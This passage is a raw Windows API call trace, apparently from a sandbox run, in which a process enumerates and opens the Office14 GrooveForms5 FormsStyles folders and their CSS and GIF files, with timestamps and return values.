out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x727, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0076.544] GetLastError () returned 0x12 [0076.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0076.544] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0076.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0076.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0076.586] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0076.586] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac2dc0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac2dc0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0076.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac2dc0) returned 1 [0076.586] NtClose (Handle=0x168) returned 0x0 [0076.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0076.587] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0076.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0076.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf580 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2268 [0076.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.588] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf5a0 [0076.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2370 [0076.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.588] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.588] GetLastError () returned 0x12 [0076.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0076.588] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.589] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.589] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.589] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.589] GetLastError () returned 0x12 [0076.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0076.589] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0076.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0076.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.589] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0076.589] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0076.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0076.632] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0076.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac2dc0 [0076.633] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac2dc0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac2dc0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0076.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac2dc0) returned 1 [0076.633] NtClose (Handle=0x178) returned 0x0 [0076.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0076.633] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0076.634] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.634] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0076.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf5c0 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2478 [0076.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3b40) returned 0xac2dc0 [0076.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0076.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf5e0 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2580 [0076.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf600 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2688 [0076.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.636] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf620 [0076.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2790 [0076.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.636] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.636] GetLastError () returned 0x12 [0076.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0076.636] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0076.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.636] FindNextFileW (in: hFindFile=0x2e9040, 